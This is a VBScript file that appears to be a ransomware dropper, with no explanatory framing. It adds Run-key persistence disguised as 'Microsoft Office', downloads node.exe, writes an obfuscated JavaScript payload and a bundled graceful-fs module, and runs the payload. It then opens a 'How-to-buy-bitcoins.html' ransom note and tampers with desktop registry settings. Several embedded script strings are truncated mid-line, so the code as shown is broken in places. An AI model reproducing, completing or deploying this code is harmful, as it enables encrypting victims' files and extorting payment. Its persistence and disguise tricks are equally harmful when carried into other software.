on error resume next
Dim oXMLHTTP
Dim oStream
Dim pGenNum, newpass, passList, inFlag, pgLength, x, fso, ts, passLen, i
Const ForWriting = 2
passLen = 13
Set oShell = Wscript.CreateObject("Wscript.Shell")
Set objFSO=CreateObject("Scripting.FileSystemObject")
' strExeName = generatePassword(passLen)
strExeName = "GFp0JAk"
strEntPoint = "lLT8PCI.js"
strHomeFolder = oShell.ExpandEnvironmentStrings("%USERPROFILE%")
outWorkingDir = strHomeFolder & "\AppData\Local\" & strExeName & "\"
outModuleDir= outWorkingDir & "\node_modules\"
strExe = outWorkingDir & strExeName & ".exe"
strVbs = outWorkingDir & "\" & strExeName & ".vbs"
strExeSize = 0
strAllGood = 0
strExeSize = objFSO.GetFile(strExe).Size
objFSO.CreateFolder(outWorkingDir)
objFSO.CreateFolder(outModuleDir)
objFSO.CreateFolder(outModuleDir & "graceful-fs")
SourceFile = WScript.ScriptFullName
objFSO.CopyFile SourceFile, strVbs, True
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Office", "wscript " & strVbs,"REG_SZ"
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Startup", strExe & " " & outWorkingDir & "\" & strEntPoint & " decryptStatic","REG_SZ"
oShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows", "cmd /c start /min " & outWorkingDir & "\How-to-buy-bitcoins.html","REG_SZ"
i = True
Do While(i)
'Wscript.Echo strExeSize
If (strExeSize < "18000000") Then
'Wscript.Echo "Starting download"
Set File = WScript.CreateObject("Microsoft.XMLHTTP")
File.Open "GET", "https://nodejs.org/download/release/latest-v8.x/win-x86/node.exe", False
File.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) Gecko/20100101 Firefox/52.0"
File.Send
'Wscript.Echo err
If err.number <> 0 then
Line = Line & vbcrlf & "Error getting file"
Line = Line & vbcrlf & "Error " & err.number & "(0x" & hex(err.number) & ") " & err.description
Line = Line & vbcrlf & "Source " & err.source
Line = Line & vbcrlf & ""
Line = Line & vbcrlf & "HTTP Error " & File.Status & " " & File.StatusText
Line = Line & vbcrlf & File.getAllResponseHeaders
'wscript.echo Line
Err.clear
'wscript.quit
End If
If File.Status = 200 Then
Set BS = CreateObject("ADODB.Stream")
BS.type = 1
BS.open
BS.Write File.ResponseBody
BS.SaveToFile strExe, 2
End If
End If
outFile=outWorkingDir & strEntPoint
set objFile = objFSO.CreateTextFile(outFile, True)
objFile.Write "var $jscomp=$jscomp||{};$jscomp.scope={};$jscomp.ASSUME_ES5=!1;$jscomp.ASSUME_NO_NATIVE_MAP=!1;$jscomp.ASSUME_NO_NATIVE_SET=!1;$jscomp.defineProperty=$jscomp.ASSUME_ES5||""function""==typeof Object.defineProperties?Object.defineProperty:function(b,a,c){b!=Array.prototype&&b!=Object.prototype&&(b[a]=c.value)};$jscomp.getGlobal=function(b){return""undefined""!=typeof window&&window===b?b:""undefined""!=typeof global&&null!=global?global:b};$jscomp.global=$jscomp.getGlobal(this);$jscomp.SYMBOL_PREFIX=""jscomp_symbol_"";$jscomp.initSymbol=function(){$jscomp.initSymbol=function(){};$jscomp.global.Symbol||($jscomp.global.Symbol=$jscomp.Symbol)};$jscomp.Symbol=function(){var b=0;return function(a){return $jscomp.SYMBOL_PREFIX+(a||"""")+b++}}();$jscomp.initSymbolIterator=function(){$jscomp.initSymbol();var b=$jscomp.global.Symbol.iterator;b||(b=$jscomp.global.Symbol.iterator=$jscomp.global.Symbol(""iterator""));""function""!=typeof Array.prototype[b]&&$jscomp.defineProperty(Array.prototype,b,{configura
objFile.Close
outFile=outModuleDir & "graceful-fs\fs.js"
Set objFile = objFSO.CreateTextFile(outFile, True)
objFile.Write "'use strict'; var fs = require('fs'); module.exports = clone(fs); function clone (obj) {if (obj === null || typeof obj !== 'object') return obj; if (obj instanceof Object) { var copy = { __proto__: obj.__proto__ } } else { var copy = Object.create(null) }; Object.getOwnPropertyNames(obj).forEach(function (key) { Object.defineProperty(copy, key, Object.getOwnPropertyDescriptor(obj, key)) }); return copy; }" & vbCrLf
objFile.Close
outFile=outModuleDir & "graceful-fs\package.json"
Set objFile = objFSO.CreateTextFile(outFile, True)
objFile.Write "{""name"":""graceful-fs"",""description"":""A drop-in replacement for fs, making various improvements."",""version"":""4.1.11"",""repository"":{""type"":""git"",""url"":""https://github.com/isaacs/node-graceful-fs""},""main"":""graceful-fs.js"",""engines"":{""node"":"">=0.4.0""},""directories"":{""test"":""test""},""scripts"":{""test"":""node test.js | tap -""},""keywords"":[""fs"",""module"",""reading"",""retry"",""retries"",""queue"",""error"",""errors"",""handling"",""EMFILE"",""EAGAIN"",""EINVAL"",""EPERM"",""EACCESS""],""license"":""ISC"",""devDependencies"":{""mkdirp"":""^0.5.0"",""rimraf"":""^2.2.8"",""tap"":""^5.4.2""},""files"":[""fs.js"",""graceful-fs.js"",""legacy-streams.js"",""polyfills.js""]}" & vbCrLf
objFile.Close
outFile=outModuleDir & "graceful-fs\graceful-fs.js"
Set objFile = objFSO.CreateTextFile(outFile, True)
objFile.Write "function noop(){}function patch(e){function t(e,t,n){function r(e,t,n){return y(e,t,function(o){!o||""EMFILE""!==o.code&&""ENFILE""!==o.code?(""function""==typeof n&&n.apply(this,arguments),retry()):enqueue([r,[e,t,n]])})}return""function""==typeof t&&(n=t,t=null),r(e,t,n)}function n(e,t,n,r){function o(e,t,n,r){return d(e,t,n,function(u){!u||""EMFILE""!==u.code&&""ENFILE""!==u.code?(""function""==typeof r&&r.apply(this,arguments),retry()):enqueue([o,[e,t,n,r]])})}return""function""==typeof n&&(r=n,n=null),o(e,t,n,r)}function r(e,t,n,r){function o(e,t,n,r){return m(e,t,n,function(u){!u||""EMFILE""!==u.code&&""ENFILE""!==u.code?(""function""==typeof r&&r.apply(this,arguments),retry()):enqueue([o,[e,t,n,r]])})}return""function""==typeof n&&(r=n,n=null),o(e,t,n,r)}function o(e,t,n){function r(e,t){t&&t.sort&&t.sort(),!e||""EMFILE""!==e.code&&""ENFILE""!==e.code?(""function""==typeof n&&n.apply(this,arguments),retry()):enqueue([u,[o]])}var o=[e];return""function""!=typeof t?o.push(t):n=t,o.push(r),
objFile.Close
outFile=outModuleDir & "graceful-fs\legacy-streams.js"
Set objFile = objFSO.CreateTextFile(outFile, True)
objFile.Write "function legacy(t){function e(i,s){if(!(this instanceof e))return new e(i,s);Stream.call(this);var r=this;this.path=i,this.fd=null,this.readable=!0,this.paused=!1,this.flags=""r"",this.mode=438,this.bufferSize=65536,s=s||{};for(var h=Object.keys(s),n=0,a=h.length;a>n;n++){var o=h[n];this[o]=s[o]}if(this.encoding&&this.setEncoding(this.encoding),void 0!==this.start){if(""number""!=typeof this.start)throw TypeError(""start must be a Number"");if(void 0===this.end)this.end=1/0;else if(""number""!=typeof this.end)throw TypeError(""end must be a Number"");if(this.start>this.end)throw new Error(""start must be <= end"");this.pos=this.start}return null!==this.fd?void process.nextTick(function(){r._read()}):void t.open(this.path,this.flags,this.mode,function(t,e){return t?(r.emit(""error"",t),void(r.readable=!1)):(r.fd=e,r.emit(""open"",e),void r._read())})}function i(e,s){if(!(this instanceof i))return new i(e,s);Stream.call(this),this.path=e,this.fd=null,this.writable=!0,this.flags=""w"",this.encodin
objFile.Close
outFile=outModuleDir & "graceful-fs\polyfills.js"
Set objFile = objFSO.CreateTextFile(outFile, True)
objFile.Write "function patch(n){constants.hasOwnProperty(""O_SYMLINK"")&&process.version.match(/^v0\.6\.[0-2]|^v0\.5\./)&&patchLchmod(n),n.lutimes||patchLutimes(n),n.chown=chownFix(n.chown),n.fchown=chownFix(n.fchown),n.lchown=chownFix(n.lchown),n.chmod=chmodFix(n.chmod),n.fchmod=chmodFix(n.fchmod),n.lchmod=chmodFix(n.lchmod),n.chownSync=chownFixSync(n.chownSync),n.fchownSync=chownFixSync(n.fchownSync),n.lchownSync=chownFixSync(n.lchownSync),n.chmodSync=chmodFixSync(n.chmodSync),n.fchmodSync=chmodFixSync(n.fchmodSync),n.lchmodSync=chmodFixSync(n.lchmodSync),n.stat=statFix(n.stat),n.fstat=statFix(n.fstat),n.lstat=statFix(n.lstat),n.statSync=statFixSync(n.statSync),n.fstatSync=statFixSync(n.fstatSync),n.lstatSync=statFixSync(n.lstatSync),n.lchmod||(n.lchmod=function(n,c,t){t&&process.nextTick(t)},n.lchmodSync=function(){}),n.lchown||(n.lchown=function(n,c,t,o){o&&process.nextTick(o)},n.lchownSync=function(){}),""win32""===platform&&(n.rename=function(c){return function(t,o,i){var r=Date.now(),s=0;c(t,o,functio
objFile.Close
'Wscript.Echo("Begining launch")
If (objFSO.FileExists(strExe)) Then
strReturn = oShell.Run(strExe & " " & outWorkingDir & "\" & strEntPoint, 0, true)
End If
If NOT (objFSO.FileExists(outWorkingDir & "\initdone")) Then
If (objFSO.FileExists(outWorkingDir & "\How-to-buy-bitcoins.html")) Then
oShell.Run("cmd /c start /min " & outWorkingDir & "\How-to-buy-bitcoins.html")
End If
If ( (objFSO.FileExists(outWorkingDir & "\" & strEntPoint)) AND (objFSO.FileExists(strExe)) ) Then
oShell.Run(strExe & " " & outWorkingDir & "\" & strEntPoint & " decryptStatic")
End If
strReg = oShell.Run("reg delete HKCU\\Software\\Microsoft\\Windows\\Shell\\Bags\\1\\Desktop /f", 0, true)
strRunDLL = oShell.Run("RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 0, true)
If (objFSO.FileExists(outWorkingDir & "\How-to-buy-bitcoins.html")) Then
outFile=outWorkingDir & "\initdone"
Set objFile = objFSO.CreateTextFile(outFile, True)
objFile.Write "" & vbCrLf
objFile.Close
End If
End If
WScript.Sleep 40000
Function generatePassword(PASSWORD_LENGTH)
Dim NUMLOWER, NUMUPPER, LOWERBOUND, UPPERBOUND, LOWERBOUND1, UPPERBOUND1, SYMLOWER, SYMUPPER
Dim newPassword, count, pwd
Dim pCheckComplex, pCheckComplexUp, pCheckComplexLow, pCheckComplexNum, pCheckComplexSym, pCheckAnswer
NUMLOWER = 48
NUMUPPER = 57
LOWERBOUND = 65
UPPERBOUND = 90
LOWERBOUND1 = 97
UPPERBOUND1 = 122
SYMLOWER = 33
SYMUPPER = 46
pCheckComplexUp = 0
pCheckComplexLow = 0
pCheckComplexNum = 0
pCheckComplexSym = 0
Randomize()
newPassword = ""
count = 0
DO UNTIL count = PASSWORD_LENGTH
If Int( ( 10 - 2 + 1 ) * Rnd + 2 ) > 2 And Int( ( 10 - 2 + 1 ) * Rnd + 2 ) <= 5 Then
pwd = Int( ( UPPERBOUND1 - LOWERBOUND1 + 1 ) * Rnd + LOWERBOUND1 )
Elseif Int( ( 10 - 2 + 1 ) * Rnd + 2 ) > 5 And Int( ( 10 - 2 + 1 ) * Rnd + 2 ) <= 7 Then
pwd = Int( ( UPPERBOUND - LOWERBOUND + 1 ) * Rnd + LOWERBOUND )
Else
pwd = Int( ( NUMUPPER - NUMLOWER + 1 ) * Rnd + NUMLOWER )
End If
newPassword = newPassword + Chr( pwd )
count = count + 1
If count = (PASSWORD_LENGTH) Then
For pCheckComplex = 1 To PASSWORD_LENGTH
If Asc(Mid(newPassword,pCheckComplex,1)) >64 And Asc(Mid(newPassword,pCheckComplex,1))< 90 Then
pCheckComplexUp = 1
ElseIf Asc(Mid(newPassword,pCheckComplex,1)) >96 And Asc(Mid(newPassword,pCheckComplex,1))< 123 Then
pCheckComplexLow = 1
ElseIf Asc(Mid(newPassword,pCheckComplex,1)) >47 And Asc(Mid(newPassword,pCheckComplex,1))< 58 Then
pCheckComplexNum = 1
End If
Next
pCheckAnswer = pCheckComplexUp+pCheckComplexLow+pCheckComplexNum+pCheckComplexSym
If pCheckAnswer < 3 Then
newPassword = ""
count = 0
End If
End If
generatePassword = newPassword
End Function